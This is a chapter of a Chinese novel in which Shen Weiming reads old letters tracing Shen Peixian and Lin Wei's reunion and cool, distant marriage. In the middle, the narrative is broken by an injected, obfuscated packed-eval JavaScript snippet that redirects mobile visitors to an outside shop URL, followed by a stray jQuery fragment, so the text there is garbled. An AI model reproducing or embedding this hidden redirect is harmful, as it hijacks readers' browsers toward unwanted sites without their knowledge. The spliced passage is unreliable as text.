沈未明在一个旧箱子里，找到了一摞信。
是沈佩弦和林微的。
不对，不是之前的那些。
之前的那些，是他们在上海的时候写的。
这些，是后来的。
是沈佩弦回到观澜堂之后，他们写的。
信不多。
只有十几封。
而且，越到后面，越短。
最后几封，只有寥寥数语。
沈未明坐在地上，一封一封地读着。
从这些信里，他看到了，沈佩弦和林微，后来的故事。
民国四年，春。
沈佩弦第一次，给林微写信。
那时候，他已经回到观澜堂，半年多了。
他在信里说，他回到了家乡。
他说，他很想念她。
他说，不知道她，现在怎么样了。
他说，他很抱歉，当年不告而别。
他说，有很多话，想跟她说。
信写得很克制。
字里行间，都带着小心翼翼的味道。
像一个，做错了事的孩子。
在试探着，请求原谅。
林微的回信，是半个月之后来的。
她在信里说，她也很想念他。
她说，当年的事，她不怪他。
她说，她知道，他有他的难处。
她说，她哥哥的事，她也听说了。
她说，她很伤心。
但是，她不怪任何人。
她说，这都是命。
她还说，她现在，住在苏州。
跟她的嫂子，住在一起。
她说，如果他有空，可以来看看她。
信写得很平静。
平静得，有点不正常。
沈未明读着，都觉得，心里空空的。
他能感觉到，林微心里的那种，平静下面的，悲伤。
还有，一种，说不出来的，疏离感。
她好像，已经不是当年的那个林微了。
沈佩弦收到信之后，第二天，就去了苏州。
他在信里，没有说。
他想，给她一个惊喜。
或者说，他想，突然出现在她面前。
看看她的反应。
也看看，自己的反应。
他坐了一天的船。
才到苏州。
找到林家的时候，已经是下午了。
他站在门口，犹豫了很久。
才鼓起勇气，敲了门。
开门的，是个老妈子。
问他找谁。
他说，找林微小姐。
老妈子看了他一眼，说，小姐在里面。
然后，就把他领了进去。
林微是在花园里，见到他的。
她正坐在，一棵桃树下面，看书。
春天，桃花开得正好。
粉粉的，一片一片的。
风一吹，花瓣就落下来。
落在她的头发上，衣服上，书上。
她穿着一件，淡青色的旗袍。
跟当年，他第一次见到她的时候，穿的那件，很像。
她听到脚步声，抬起头。
看到他，愣住了。
手里的书，"啪"的一声，掉在了地上。
两个人，就那么站着。
互相看着。
看了很久。
谁都没有说话。
时间，好像在那一刻，静止了。
沈佩弦觉得，他好像，又回到了很多年前。
回到了，那个暮春的下午。
回到了，那个叫半亩园的地方。
那时候，他第一次见到她。
她也是这样，穿着淡青色的旗袍。
也是这样，安安静静的。
像一朵，水莲花。
可是，他知道，不一样了。
一切，都不一样了。
这么多年过去了。
发生了这么多事。
他们，都已经不是当年的那个人了。
还是林微，先开口的。
她站起身，看着他，轻轻说了一句：
"你来了。"
声音很轻。
很平静。
就像，他们昨天才见过面一样。
沈佩弦的喉咙，有点发紧。
他点了点头。
"嗯。"他说，"我来了。"
然后，就不知道该说什么了。
他有很多话，想跟她说。
想跟她道歉。
想跟她说，当年的事。
想跟她说，林觉的事。
想跟她说，他有多想她。
可是，真的见到她了。
他又觉得，什么都说不出来了。
所有的话，都堵在了喉咙里。
林微倒是，很平静。
她指了指，对面的石凳。
"坐吧。"她说。
"哎。"沈佩弦赶紧走过去，坐下了。
他坐得很端正。
像个，第一次见家长的小孩子。
紧张得，手都不知道往哪里放。
林微看着他，突然笑了。
"你怎么还是这个样子？"她说。
"什么样子？"沈佩弦愣了一下。
"一紧张，就坐得笔直。"林微说，"跟个小学生似的。"
沈佩弦的脸，一下子就红了。
他不好意思地，挠了挠头。
"有吗？"他说。
"有。"林微点了点头，"跟当年，一模一样。"
沈佩弦看着她。
她笑起来的样子，还是那么好看。
跟当年，一模一样。
可是，他又觉得，不一样了。
她的眼睛里，多了一些东西。
一些，当年没有的东西。
是什么呢？
他说不清楚。
也许，是沧桑。
也许，是疲惫。
也许，是别的什么。
那天下午，他们聊了很多。
但是，又好像，什么都没聊。
他们聊天气。
聊苏州的风景。
聊这些年，发生的一些事。
但是，他们都很有默契地，避开了一些话题。
比如，当年的革命。
比如，林觉的死。
比如，当年，他为什么不告而别。
比如，这些年，他们各自是怎么过的。
这些，他们都没提。
好像，那些事，都不存在一样。
好像，他们只是，很久没见的老朋友。
随便聊聊家常。
仅此而已。
可是，沈佩弦知道，不是这样的。
那些事，都存在。
而且，一直都存在。
它们，就像一堵墙。
竖在他们中间。
看不见，摸不着。
但是，实实在在地，存在着。
把他们，隔开了。
他能感觉到。
林微，肯定也能感觉到。
只是，他们都不说。
都假装，那堵墙不存在。
都假装，一切都跟以前一样。
可是，怎么可能一样呢？
发生了这么多事。
死了那么多人。
他们怎么可能，还跟以前一样？
沈佩弦在苏州，待了三天。
三天里，他每天都去找林微。
他们一起，在花园里散步。
一起，去街上逛。
一起，去茶馆里喝茶。
就像，当年在上海的时候一样。
可是，又不一样。
当年的那种，轻松的，甜蜜的感觉，没有了。
取而代之的，是一种，客气的，疏离的感觉。
他们都很小心。
小心地，不碰那些敏感的话题。
小心地，维持着表面的平静。
像两个，走在薄冰上的人。
生怕，一不小心，冰就破了。
然后，两个人，都掉下去。
第三天，沈佩弦要走了。
林微去送他。
送到码头。
站在岸边，看着他。
风，吹起她的头发。
也吹起，她的旗袍衣角。
她还是那么好看。
跟当年，一模一样。
沈佩弦站在船上，看着她。
他想说，微儿，跟我走吧。
他想说，微儿，嫁给我吧。
他想说，微儿，我会对你好的。
可是，他张了张嘴。
什么都没说出来。
他怕。
怕她拒绝。
更怕，她答应了。
他怕，他配不上她。
他怕，他给不了她幸福。
他怕，那些过去的事，会像一根刺一样。
永远扎在他们中间。
让他们，都不好受。
所以，他什么都没说。
他只是，挥了挥手。
说："回去吧。"
"我会再来看你的。"
林微也挥了挥手。
她说："一路顺风。"
然后，就没有了。
船开了。
沈佩弦站在船尾，看着她。
她站在岸边，一动不动。
像一尊，雕像。
越来越远。
越来越小。
最后，变成了一个小点。
看不见了。
沈佩弦转过身，靠在栏杆上。
眼泪，就掉了下来。
他不知道，自己为什么要哭。
是因为，见到她了，高兴的？
还是因为，他们再也回不去了，难过的？
他不知道。
他只知道，他心里，很疼。
像被什么东西，堵住了。
喘不过气来。
从苏州回来之后，沈佩弦就病了。
是心病。
他每天，都坐在书房里。
发呆。
什么都不做。
就那么坐着。
他的脑子里，翻来覆去的，都是林微的样子。
都是，他们这三天，在一起的画面。
他想，他是不是应该，跟她表白。
是不是应该，娶她。
可是，他又怕。
怕什么呢？
他自己也说不清楚。
也许，是怕她知道，他是个懦夫。
怕她知道，当年他是怎么逃跑的。
怕她知道，林觉的死，跟他有关系。
然后，就看不起他了。
就不爱他了。
他承受不了那个。
他宁愿，她永远都不知道。
宁愿，他们就这样，保持着距离。
至少，在她心里，他还是当年的那个沈佩弦。
那个，有理想，有才华，意气风发的沈佩弦。
而不是，现在这个，懦弱的，失败的，满身伤痕的沈佩弦。
沈未明读到这里，叹了口气。
他想起了，普鲁斯特。
想起了，追忆似水年华。
想起了，马塞尔，和阿尔贝蒂娜。
还有，斯万，和奥黛特。
爱情，好像总是这样。
当你拥有它的时候，你不觉得。
等你失去了，再想找回来。
就会发现，一切都变了。
不是那个人变了。
就是你自己变了。
或者，都变了。
时间，是个很奇怪的东西。
它能把一切，都带走。
也能把一切，都改变。
包括，爱情。
包括，人。
你以为，你怀念的，是那个人。
其实，不是。
你怀念的，是当年的那个自己。
是当年的，那段时光。
还有，当年的，那种感觉。
而这些，都是找不回来的。
沈未明继续往下读。
后面的信，越来越少。
也越来越短。
有时候，一个月一封。
有时候，两个月一封。
信里的内容，也越来越客气。
越来越疏离。
像两个，普通朋友。
甚至，连普通朋友，都不如。
沈未明能感觉到，他们之间，那堵墙，越来越厚了。
他们都在，小心翼翼地，维持着这段关系。
可是，它还是，一点点地，变淡了。
变远了。
这是没有办法的事。
有些东西，一旦过去了，就真的过去了。
你再怎么努力，都找不回来。
转机，出现在民国五年的冬天。
沈观澜病了。
病得很重。
年纪大了，身体本来就不好。
冬天一冷，就扛不住了。
他把沈佩弦叫到床前。
跟他说，他想在死之前，看到他成家。
他说，他已经托人，给他说了一门亲事。
是苏州的，林家小姐。
叫林微。
他说，他见过那个姑娘。
人很好，很贤惠。
跟他，也很配。
他问沈佩弦，愿不愿意。
沈佩弦当时就愣住了。
林微？
真的是她？
他看着他爹，半天说不出话来。
沈观澜以为，他不愿意。
就叹了口气，说："我知道，你心里，可能有别人。"
"可是，佩弦，人这一辈子，不能总活在过去。"
"往前看，啊？"
沈佩弦看着他爹。
他爹，真的老了。
病得，都脱形了。
他心里，一阵发酸。
他点了点头。
"好。"他说，"爹，我听你的。"
"我娶。"
亲事，就这么定了。
沈佩弦给林微写了一封信。
问她，愿不愿意嫁给他。
林微的回信，很快就来了。
只有一个字：
"好。"
沈佩弦拿着那封信，看了很久。
他不知道，这个"好"字，意味着什么。
是因为，她还爱他？
还是因为，她年纪大了，家里催得紧，就随便找个人嫁了？
还是因为，别的什么原因？
他不知道。
他也不敢问。
他怕，问了，得到的答案，不是他想要的。
那他，会更难受。
就这样吧。
他想。
能娶到她，就已经很好了。
至于，爱不爱。
也许，结婚之后，慢慢就有了。
也许吧。
婚礼，是在民国六年的春天，办的。
办得很热闹。
沈家是大户人家。
婚礼，自然办得风风光光的。
来了很多客人。
都夸，新郎新娘，是天造地设的一对。
沈佩弦穿着大红的喜服，站在那里。
接受着，大家的祝福。
他应该高兴的。
娶到了，他心爱的女人。
可是，他心里，却空落落的。
像缺了一块什么。
他看着，盖着红盖头的林微。
他想，这就是他的妻子了。
他爱了这么多年的女人。
终于，要跟他在一起了。
可是，他为什么，一点都不高兴呢？
是因为，他觉得，她不是因为爱他，才嫁给他的？
还是因为，他觉得，自己配不上她？
还是因为，别的什么？
他不知道。
他只知道，这一天，他盼了很多年。
可是，真的到了这一天。
他却觉得，很不真实。
像在做梦一样。
新婚之夜。
沈佩弦，挑开了林微的红盖头。
她低着头，脸红红的。
很好看。
跟当年，他第一次见到她的时候，一样好看。
可是，他又觉得，不一样了。
她的眼睛里，没有了当年的那种，光芒。
取而代之的，是一种，平静的，淡淡的，东西。
像一潭，死水。
扔个石头进去，都泛不起涟漪。
沈佩弦看着她，心里一阵疼。
他伸出手，想摸摸她的脸。
可是，手伸到一半，又缩了回来。
他不知道，为什么。
他突然觉得，眼前的这个女人，很陌生。
好像，他从来都没有认识过她一样。
这就是，他爱了这么多年的女人吗？
这就是，他朝思暮想的人吗？
为什么，他感觉不到，当年的那种心跳了？
是因为，时间太久了？
还是因为，发生了太多的事？
还是因为，他自己变了？
他不知道。
沈未明读到这里，停了下来。
他想起了一句话。
"婚姻，是爱情的坟墓。"
以前，他觉得，这句话太夸张了。
现在看来，好像，有点道理。
不对，不是婚姻的问题。
是时间的问题。
是人的问题。
有些爱情，只适合，存在于记忆里。
存在于，得不到的时候。
一旦得到了。
一旦，天天在一起了。
反而，就不是那个味道了。
因为，你爱的，从来都不是那个人本身。
你爱的，是你想象中的那个人。
是你，给她加上了无数滤镜的那个人。
等真的在一起了。
滤镜碎了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735660|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你看到了，真实的她。
你就会发现，她不是你想象中的那个样子。
然后，你就会失望。
这就是，爱情的真相。
也是，人生的真相。
沈未明继续往下读。
后面的内容，是从林微的日记里看到的。
不对，不是林微的日记。
是沈佩弦写的，关于他们婚后生活的，一些记录。
很零散。
像日记，又不像日记。
想到什么，就写什么。
从这些零散的记录里，沈未明看到了，他们婚后的生活。
表面上，很平静。
也很和睦。
林微是个好妻子。
她贤惠，温柔，懂事。
把家里，打理得井井有条。
对沈佩弦，也很好。
对公婆，也很孝顺。
所有人，都夸沈佩弦，娶了个好媳妇。
沈佩弦自己，也觉得，她很好。
可是，他总觉得，少了点什么。
少了什么呢？
他说不清楚。
也许，是激情。
也许，是爱情。
也许，是别的什么。
他们相敬如宾。
可是，也仅此而已。
像一对，合作得很好的搭档。
而不像，一对夫妻。
他们很少吵架。
甚至，很少红脸。
因为，他们很少，真正地交心。
他们都很客气。
客气得，像客人。
沈佩弦有什么心事，不会跟她说。
林微有什么心事，也不会跟他说。
他们都把自己的心事，藏在心里。
藏得很深。
他们每天，在一起吃饭，在一起睡觉，在一起生活。
可是，他们的心，却离得很远。
像住在，同一个屋檐下的，两个陌生人。
这就是，他们的婚姻。
平静。
但是，也空洞。
像一口，干涸的井。
看起来，是口井。
可是，里面没有水。
有时候，沈佩弦会想。
如果当年，没有革命。
如果当年，他没有逃跑。
如果当年，他跟林微，顺顺利利地，就结婚了。
他们会不会，不一样？
会不会，更幸福一点？
可是，没有如果。
人生，就是这样。
发生了，就是发生了。
没有办法重来。
你只能，接受。
然后，继续往前走。
不管，你愿不愿意。
有一次，沈佩弦喝醉了。
他拉着林微的手，问她："微儿，你爱我吗？"
林微看着他，看了很久。
然后，她笑了笑。
她说："都老夫老妻了，说这个干什么。"
然后，就给他倒了杯茶。
说："喝点茶，醒醒酒。"
沈佩弦看着她，心里一阵发凉。
他知道了。
答案，已经很明显了。
她不说，只是不想，让他难堪。
也不想，让自己难堪。
他们都在，假装。
假装，他们的婚姻很幸福。
假装，他们很相爱。
假装，一切都很好。
可是，好不好。
只有他们自己心里知道。
沈未明读到这里，心里，很不是滋味。
他想起了，普鲁斯特写的。
"我们以为，我们爱一个人。"
"其实，我们爱的，只是当时的那种感觉。"
"等那种感觉过去了。"
"我们就会发现，我们根本就不爱那个人。"
或者说，不是不爱。
是爱，已经变了。
变成了，别的什么东西。
也许是亲情。
也许是习惯。
也许，什么都不是。
只是，两个人，搭伙过日子。
这就是，大多数人的婚姻吗？
沈未明不知道。
他没有结过婚。
他不知道，婚姻是什么样子的。
可是，从沈佩弦和林微的故事里。
他好像，看到了一点什么。
一点，让人很失望的东西。
日子，一天天过去。
一年，又一年。
沈佩弦和林微，就这样，过着。
平静地。
平淡地。
像一潭，死水。
没有波澜。
也没有，生气。
后来，他们有了孩子。
就是，沈静言。
有了孩子之后，家里，热闹了一点。
他们的注意力，都放在了孩子身上。
关系，好像也近了一点。
可是，也仅此而已。
有些东西，没有了，就是没有了。
再怎么努力，都找不回来。
他们都明白。
也都，接受了。
这就是，他们的命。
沈未明把那些信，还有那些零散的记录，都放回原处。
他坐在地上，愣了很久。
他想起了，很多年前。
那个暮春的下午。
那个叫半亩园的地方。
那个穿着淡青色旗袍的女孩子。
那个，穿着月白长衫的年轻人。
他们第一次见面。
一见钟情。
那时候的他们，肯定不会想到。
多年以后，他们会结婚。
会成为夫妻。
会在一起，过一辈子。
可是，他们也肯定不会想到。
他们的婚姻，会是这个样子的。
平静。
但是，空洞。
客气。
但是，疏离。
这就是，时间的力量吗？
它能把，最浓烈的爱情，变成最平淡的亲情。
或者，连亲情都不如。
只是，习惯。
沈未明叹了口气。
他不知道，该说什么。
他只是觉得，有点难过。
为沈佩弦难过。
也为林微难过。
更为，那些，被时间带走的，一切。
难过。
沈未明站起身，走到窗边。
外面，天已经黑了。
月亮升起来了。
又大又圆。
照在院子里。
一片银白。
沈未明看着月亮，看了很久。
他想，很多年前。
沈佩弦和林微，是不是也一起，看过这样的月亮？
那时候的他们，在想什么呢？
是不是，也想着，要跟对方，过一辈子？
是不是，也想着，他们会很幸福？
可是，后来呢？
后来，他们真的在一起了。
也真的，过了一辈子。
可是，幸福吗？
也许，幸福吧。
也许，不幸福。
谁知道呢？
如人饮水，冷暖自知。
他们的日子，过得好不好。
只有他们自己知道。
风，吹过院子里的桂花树。
发出，沙沙的声音。
沈未明站在窗前，听着这声音。
他好像听到了，很多人的声音。
有沈佩弦的。
有林微的。
有他们，年轻时候的笑声。
也有，他们，中年时候的叹息。
还有，很多很多，他不知道的声音。
都混在风里。
模模糊糊的。
听不真切。
像一场，遥远的梦。
又像，是真的。
沈未明在窗前，站了很久。
直到，腿都站麻了。
他才转过身，往藏书楼门口走去。
走到门口，他又回头看了一眼。
黑漆漆的藏书楼里，好像有什么东西，在发光。
淡淡的，青色的光。
像林微头上的，那支白玉簪子。
又像，她当年，穿的那件，淡青色的旗袍。
沈未明的心里，一阵发酸。
他揉了揉眼睛。
再看，什么都没有了。
只有黑暗。
沈未明叹了口气。
推开门，走了出去。
外面的风，有点凉。
吹在脸上，让他清醒了些。
他抬头，看了看月亮。
月亮还是那么圆。
那么亮。
冷冷的。
照着这座古老的宅子。
也照着，那些过去的人和事。
还有，那些，已经逝去的，爱情。
和，青春。